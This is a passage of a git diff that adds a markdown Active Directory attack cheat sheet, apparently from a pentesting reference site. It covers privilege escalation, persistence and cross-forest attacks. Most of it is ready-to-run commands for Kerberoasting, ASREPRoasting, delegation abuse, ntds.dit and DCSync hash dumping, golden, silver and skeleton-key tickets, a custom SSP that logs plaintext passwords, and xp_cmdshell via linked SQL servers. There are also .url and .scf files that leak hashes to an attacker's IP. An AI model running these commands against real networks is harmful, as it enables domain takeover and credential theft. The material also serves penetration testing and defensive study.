"HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin". + +- Bypass "Single Session per User" Restriction + +On a domain computer, if you have command execution as the system or local administrator and want an RDP session that another user is already using, you can get around the single session restriction by adding the following registry key: +```powershell +REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 +``` + +Once you've completed the desired stuff, you can delete the key to reinstate the single-session-per-user restriction. +```powershell +REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse +``` + + +### URL File Attacks + +- .url file + + ``` + [InternetShortcut] + URL=whatever + WorkingDirectory=whatever + IconFile=\\<AttackersIp>\%USERNAME%.icon + IconIndex=1 + ``` + + ``` + [InternetShortcut] + URL=file://<AttackersIp>/leak/leak.html + ``` + +- .scf file + + ``` + [Shell] + Command=2 + IconFile=\\<AttackersIp>\Share\test.ico + [Taskbar] + Command=ToggleDesktop + ``` + +Putting these files in a writeable share the victim only has to open the file explorer and navigate to the share. **Note** that the file doesn't need to be opened or the user to interact with it, but it must be on the top of the file system or just visible in the windows explorer window in order to be rendered. Use responder to capture the hashes. + +:exclamation: .scf file attacks won't work on the latest versions of Windows. + +### Useful Tools + +- [Powercat](https://github.com/besimorhino/powercat) netcat written in powershell, and provides tunneling, relay and portforward + capabilities. +- [SCShell](https://github.com/Mr-Un1k0d3r/SCShell) fileless lateral movement tool that relies on ChangeServiceConfigA to run command +- [Evil-Winrm](https://github.com/Hackplayers/evil-winrm) the ultimate WinRM shell for hacking/pentesting +- [RunasCs](https://github.com/antonioCoco/RunasCs) Csharp and open version of windows builtin runas.exe +- [ntlm_theft](https://github.com/Greenwolf/ntlm_theft.git) creates all possible file formats for url file attacks + +## Domain Privilege Escalation + +### Kerberoast + +_WUT IS DIS?:_ \ + All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user" + account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline. + +- PowerView: + + ```powershell + #Get User Accounts that are used as Service Accounts + Get-NetUser -SPN + + #Get every available SPN account, request a TGS and dump its hash + Invoke-Kerberoast + + #Requesting the TGS for a single account: + Request-SPNTicket + + #Export all tickets using Mimikatz + Invoke-Mimikatz -Command '"kerberos::list /export"' + ``` + +- AD Module: + + ```powershell + #Get User Accounts that are used as Service Accounts + Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName + ``` + +- Impacket: + + ```powershell + python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName> + ``` + +- Rubeus: + + ```powershell + #Kerberoasting and outputing on a file with a specific format + Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> + + #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts + Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec + + #Kerberoast AES enabled accounts + Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes + + #Kerberoast specific user account + Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple + + #Kerberoast by specifying the authentication credentials + Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password> + ``` + +### ASREPRoast + +_WUT IS DIS?:_ \ + If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted + blob and bruteforce it offline. + +- PowerView: `Get-DomainUser -PreauthNotRequired -Verbose` +- AD Module: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth` + +Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! +Check for interesting permissions on accounts: + +**Hint:** We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable! + +PowerView: + +```powershell +Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} +Disable Kerberos Preauth: +Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose +Check if the value changed: +Get-DomainUser -PreauthNotRequired -Verbose +``` + +- And finally execute the attack using the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) tool. + + ```powershell + #Get a specific Accounts hash: + Get-ASREPHash -UserName <UserName> -Verbose + + #Get any ASREPRoastable Users hashes: + Invoke-ASREPRoast -Verbose + ``` + +- Using Rubeus: + + ```powershell + #Trying the attack for all domain users + Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> + + #ASREPRoast specific user + Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> + + #ASREPRoast users of a specific OU (Organization Unit) + Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> + ``` + +- Using Impacket: + + ```powershell + #Trying the attack for the specified users on the file + python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName> + ``` + +### Password Spray Attack + +If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse +on other domain accounts. + +**Tools:** + +- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) +- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) +- [Invoke-CleverSpray](https://github.com/wavestone-cdt/Invoke-CleverSpray) +- [Spray](https://github.com/Greenwolf/Spray) + +### Force Set SPN + +_WUT IS DIS ?: +If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it._ + +- PowerView: + + ```powershell + #Check for interesting permissions on accounts: + Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} + + #Check if current user has already an SPN setted: + Get-DomainUser -Identity <UserName> | select serviceprincipalname + + #Force set the SPN on the account: + Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'} + ``` + +- AD Module: + + ```powershell + #Check if current user has already an SPN setted + Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName + + #Force set the SPN on the account: + Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'} + ``` + +Finally use any tool from before to grab the hash and kerberoast it! + +### Abusing Shadow Copies + +If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation. + +```powershell +#List shadow copies using vssadmin (Needs Admnistrator Access) +vssadmin list shadows + +#List shadow copies using diskshadow +diskshadow list shadows all + +#Make a symlink to the shadow copy and access it +mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ +``` + +1. You can dump the backuped SAM database and harvest credentials. +2. Look for DPAPI stored creds and decrypt them. +3. Access backuped sensitive files. + +### List and Decrypt Stored Credentials using Mimikatz + +Usually encrypted credentials are stored in: + +- `%appdata%\Microsoft\Credentials` +- `%localappdata%\Microsoft\Credentials` + +```powershell +#By using the cred function of mimikatz we can enumerate the cred object and get information about it: +dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>" + +#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential +#Lets enumerate the Master Key: +dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" + +#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler: +dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc + +#We now have the masterkey in our local cache: +dpapi::cache + +#Finally we can decrypt the credential using the cached masterkey: +dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>" +``` + +Detailed Article: +[DPAPI all the things](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) + +### Unconstrained Delegation + +_WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a +high value target or DA to connect to it, steal his TGT then ptt and impersonate him!_ + +Using PowerView: + +```powershell +#Discover domain joined computers that have Unconstrained Delegation enabled +Get-NetComputer -UnConstrained + +#List tickets and check if a DA or some High Value target has stored its TGT +Invoke-Mimikatz -Command '"sekurlsa::tickets"' + +#Command to monitor any incoming sessions on our compromised server +Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay +<WaitInterval> -Verbose + +#Dump the tickets to disk: +Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' + +#Impersonate the user using ptt attack: +Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"' +``` + +**Note:** We can also use Rubeus! + +### Constrained Delegation + +Using PowerView and Kekeo: + +```powershell +#Enumerate Users and Computers with constrained delegation +Get-DomainUser -TrustedToAuth +Get-DomainComputer -TrustedToAuth + +#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo +tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser> + +#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation +tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN> + +#Finally use mimikatz to ptt the TGS +Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"' +``` + +_ALTERNATIVE:_ +Using Rubeus: + +```powershell +Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt +``` + +Now we can access the service as the impersonated user! + +:triangular_flag_on_post: **What if we have delegation rights for only a specific SPN? (e.g TIME):** + +In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine. + +### Resource Based Constrained Delegation + +_WUT IS DIS?: \ +TL;DR \ +If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access._ + +Tools we are going to use: + +- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon) +- [Powermad](https://github.com/Kevin-Robertson/Powermad) +- [Rubeus](https://github.com/GhostPack/Rubeus) + +First we need to enter the security context of the user/machine account that has the privileges over the object. +If it is a user account we can use Pass the Hash, RDP, PSCredentials etc. + +Exploitation Example: + +```powershell +#Import Powermad and use it to create a new MACHINE ACCOUNT +. .\Powermad.ps1 +New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose + +#Import PowerView and get the SID of our new created machine account +. .\PowerView.ps1 +$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid + +#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor: +$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" +$SDBytes = New-Object byte[] ($SD.BinaryLength) +$SD.GetBinaryForm($SDBytes, 0) + +#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView +Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose + +#After that we need to get the RC4 hash of the new machine account's password using Rubeus +Rubeus.exe hash /password:'p@ssword!' + +#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus +Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt + +#Finally we can access the C$ drive of the target machine +dir \\TargetMachine.wtver.domain\C$ +``` + +Detailed Articles: + +- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) +- [RESOURCE-BASED CONSTRAINED DELEGATION ABUSE](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/) + +:exclamation: In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack. + +```powershell +#Command on Rubeus +Rubeus.exe tgtdeleg /nowrap +``` + +Detailed Article: +[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/) + +### DNSAdmins Abuse + +_WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work._ + +1. Enumerate the members of the DNSAdmins group: + - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"` + - AD Module: `Get-ADGroupMember -Identiny DNSAdmins` +2. Once we found a member of this group we need to compromise it (There are many ways). +3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges: + + ```powershell + #Using dnscmd: + dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll + + #Restart the DNS Service: + sc \\DNSServer stop dns + sc \\DNSServer start dns + ``` + +### Abusing Active Directory-Integraded DNS + +- [Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/) +- [ADIDNS Revisited](https://blog.netspi.com/adidns-revisited/) +- [Inveigh](https://github.com/Kevin-Robertson/Inveigh) + +### Abusing Backup Operators Group + +_WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators +group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, +extract the ntds.dit database file, dump the hashes and escalate our privileges to DA._ + +1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow: + + ```powershell + #Create a .txt file that will contain the shadow copy process script + Script ->{ + set context persistent nowriters + set metadata c:\windows\system32\spool\drivers\color\example.cab + set verbose on + begin backup + add volume c: alias mydrive + + create + + expose %mydrive% w: + end backup + } + + #Execute diskshadow with our script as parameter + diskshadow /s script.txt + ``` + +2. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just + simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are + going to use [this](https://github.com/giuliano108/SeBackupPrivilege) amazing repo: + + ```powershell + #Importing both dlls from the repo using powershell + Import-Module .\SeBackupPrivilegeCmdLets.dll + Import-Module .\SeBackupPrivilegeUtils.dll + + #Checking if the SeBackupPrivilege is enabled + Get-SeBackupPrivilege + + #If it isn't we enable it + Set-SeBackupPrivilege + + #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice + Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite + + #Dump the SYSTEM hive + reg save HKLM\SYSTEM c:\temp\system.hive + ``` + +3. Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine. +4. Use secretsdump.py from impacket and dump the hashes. +5. Use psexec or another tool of your choice to PTH and get Domain Admin access. + +### Abusing Exchange + +- [Abusing Exchange one Api call from DA](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/) +- [CVE-2020-0688](https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys) +- [PrivExchange](https://github.com/dirkjanm/PrivExchange) Exchange your privileges for Domain Admin privs by abusing Exchange + +### Weaponizing Printer Bug + +- [Printer Server Bug to Domain Administrator](https://www.dionach.com/blog/printer-server-bug-to-domain-administrator/) +- [NetNTLMtoSilverTicket](https://github.com/NotMedic/NetNTLMtoSilverTicket) + +### Abusing ACLs + +- [Escalating privileges with ACLs in Active Directory](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) +- [aclpwn.py](https://github.com/fox-it/aclpwn.py) +- [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) + +### Abusing IPv6 with mitm6 + +- [Compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/) +- [mitm6](https://github.com/fox-it/mitm6) + +### SID History Abuse + +_WUT IS DIS?: If we manage to compromise a child domain of a forest and [SID filtering](https://www.itprotoday.com/windows-8/sid-filtering) isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the [SID History](https://www.itprotoday.com/windows-8/sid-history) field on a kerberos TGT ticket, that defines the "extra" security groups and privileges._ + +Exploitation example: + +```powershell +#Get the SID of the Current Domain using PowerView +Get-DomainSID -Domain current.root.domain.local + +#Get the SID of the Root Domain using PowerView +Get-DomainSID -Domain root.domain.local + +#Create the Enteprise Admins SID +Format: RootDomainSID-519 + +#Forge "Extra" Golden Ticket using mimikatz +kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi + +#Inject the ticket into memory +kerberos::ptt \path\to\ticket\golden.kirbi + +#List the DC of the Root Domain +dir \\dc.root.domain.local\C$ + +#Or DCsync and dump the hashes using mimikatz +lsadump::dcsync /domain:root.domain.local /all +``` + +Detailed Articles: + +- [Kerberos Golden Tickets are Now More Golden](https://adsecurity.org/?p=1640) +- [A Guide to Attacking Domain Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/) + +### Exploiting SharePoint + +- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE Exploitation \ + [PoC](https://github.com/k8gege/CVE-2019-0604) +- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Code execution through BDC deserialization +- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE using typeconverters \ + [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932) + +### Zerologon + +- [Zerologon: Unauthenticated domain controller compromise](https://www.secura.com/whitepapers/zerologon-whitepaper): White paper of the vulnerability. +- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): C# implementation of the Zerologon exploit. +- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): PowerShell implementation of the Zerologon exploit. +- [Zer0Dump](https://github.com/bb00/zer0dump): Python implementation of the Zerologon exploit using the impacket library. + +### PrintNightmare + +- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Vulnerability details. +- [Impacket implementation of PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): Reliable PoC of PrintNightmare using the impacket library. +- [C# Implementation of CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): Reliable PoC of PrintNightmare written in C#. + +### Active Directory Certificate Services + +**Check for Vulnerable Certificate Templates with:** [Certify](https://github.com/GhostPack/Certify) + +_Note: Certify can be executed with Cobalt Strike's `execute-assembly` command as well_ + +```powershell +.\Certify.exe find /vulnerable /quiet +``` + +Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights +allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0. + +This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") +and use the captured certificate with Rubeus to forge authentication. + +_Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target._ + +Request the DA's Account Certificate with Certify + +```powershell +.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine +``` + +This should return a valid certificate for the associated DA account. + +The exported `cert.pem` and `cert.key` files must be consolidated into a single `cert.pem` file, with one gap of whitespace between the `END RSA PRIVATE KEY` and the `BEGIN CERTIFICATE`. + +_Example of `cert.pem`:_ + +``` +-----BEGIN RSA PRIVATE KEY----- +BIIEogIBAAk15x0ID[...] +[...] +[...] +-----END RSA PRIVATE KEY----- + +-----BEGIN CERTIFICATE----- +BIIEogIBOmgAwIbSe[...] +[...] +[...] +-----END CERTIFICATE----- +``` + +#Utilize `openssl` to Convert to PKCS #12 Format + +The `openssl` command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like). + +```bash +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx +``` + +Once the `cert.pfx` file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, `certutil.exe`, Cobalt Strike's upload functionality, etc.) + +After the `cert.pfx` file has been uploaded to the compromised host, [Rubeus](https://github.com/GhostPack/Rubeus) can be used to request a Kerberos TGT for the DA account which will then be imported into memory. + +```powershell +.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt +``` + +This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack. + +### No PAC + +- [sAMAccountname Spoofing](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing) Exploitation of CVE-2021-42278 and CVE-2021-42287 +- [Weaponisation of CVE-2021-42287/CVE-2021-42278](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) Exploitation of CVE-2021-42278 and CVE-2021-42287 +- [noPAC](https://github.com/cube0x0/noPac) C# tool to exploit CVE-2021-42278 and CVE-2021-42287 +- [sam-the-admin](https://github.com/WazeHell/sam-the-admin) Python automated tool to exploit CVE-2021-42278 and CVE-2021-42287 +- [noPac](https://github.com/Ridter/noPac) Evolution of "sam-the-admin" tool + +## Domain Persistence + +### Golden Ticket Attack + +```powershell +#Execute mimikatz on DC as DA to grab krbtgt hash: +Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName> + +#On any machine: +Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt: +<HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' +``` + +### DCsync Attack + +```powershell +#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges): +Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"' + +#DCsync using secretsdump.py from impacket with NTLM authentication +secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm + +#DCsync using secretsdump.py from impacket with Kerberos Authentication +secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm +``` + +**Tip:** \ + /ptt -> inject ticket on current running session \ + /ticket -> save the ticket on the system for later use + +### Silver Ticket Attack + +```powershell +Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service: +<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"' +``` + +[SPN List](https://adsecurity.org/?page_id=183) + +### Skeleton Key Attack + +```powershell +#Exploitation Command runned as DA: +Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN> + +#Access using the password "mimikatz" +Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator +``` + +### DSRM Abuse + +_WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!_ + +```powershell +#Dump DSRM password (needs DA privs): +Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name> + +#This is a local account, so we can PTH and authenticate! +#BUT we need to alter the behaviour of the DSRM account before pth: +#Connect on DC: +Enter-PSSession -ComputerName <DC's Name> + +#Alter the Logon behaviour on registry: +New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose + +#If the property already exists: +Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose +``` + +Then just PTH to get local admin access on DC! + +### Custom SSP + +_WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!_ + +From powershell: + +```powershell +#Get current Security Package: +$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages' + +#Append mimilib: +$packages += "mimilib" + +#Change the new packages name +Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages +Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages + +#ALTERNATIVE: +Invoke-Mimikatz -Command '"misc::memssp"' +``` + +Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log + +## Cross Forest Attacks + +### Trust Tickets + +_WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT._ + +:warning: The access we will have will be limited to what our DA account is configured to have on the other Forest! + +- Using Mimikatz: + + ```powershell + #Dump the trust key + Invoke-Mimikatz -Command '"lsadump::trust /patch"' + Invoke-Mimikatz -Command '"lsadump::lsa /patch"' + + #Forge an inter-realm TGT using the Golden Ticket attack + Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid: + <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket: + <PathToSaveTheGoldenTicket>"' + ``` + + :exclamation: Tickets -> .kirbi format + + Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource! + +- Using Rubeus: + + ```powershell + .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt + ``` + +### Abuse MSSQL Servers + +- Enumerate MSSQL Instances: `Get-SQLInstanceDomain` +- Check Accessibility as current user: + + ```powershell + Get-SQLConnectionTestThreaded + Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose + ``` + +- Gather Information about the instance: `Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose` +- Abusing SQL Database Links: \ + _WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!_ + +Check for existing Database Links: + +```powershell +#Check for existing Database Links: +#PowerUpSQL: +Get-SQLServerLink -Instance <SPN> -Verbose + +#MSSQL Query: +select * from master..sysservers +``` + +Then we can use queries to enumerate other links from the linked Database: + +```powershell +#Manualy: +select * from openquery("LinkedDatabase", 'select * from master..sysservers') + +#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests): +Get-SQLServerLinkCrawl -Instance <SPN> -Verbose + +# Enable RPC Out (Required to Execute XP_CMDSHELL) +EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true'; +EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true'; +select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';'); +select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';'); + +#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell +#Or if it is disabled enable it: +EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN" +``` + +Query execution: + +```powershell +Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'" +``` + +### Breaking Forest Trusts + +_WUT IS DIS?: \ +TL;DR \ +If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest._ + +Tools we are going to use: + +- [Rubeus](https://github.com/GhostPack/Rubeus) +- [SpoolSample](https://github.com/leechristensen/SpoolSample) +- [Mimikatz](https://github.com/gentilkiwi/mimikatz) + +Exploitation example: + +```powershell +#Start monitoring for TGTs with rubeus: +Rubeus.exe monitor /interval:5 /filteruser:target-dc + +#Execute the printerbug to trigger the force authentication of the target DC to our machine +SpoolSample.exe target-dc.external.forest.local dc.compromised.domain.local + +#Get the base64 captured TGT from Rubeus and inject it into memory: +Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket> + +#Dump the hashes of the target domain using mimikatz: +lsadump::dcsync /domain:external.forest.local /all +``` + +Detailed Articles: + +- [Not A Security Boundary: Breaking Forest Trusts](https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/) +- [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) diff --git a/src/content/sheets/active-directory/attack-1-password-spraying.md b/src/content/sheets/active-directory/attack-1-password-spraying.md @@ -0,0 +1,403 @@ +--- +title: "Attack #1 — 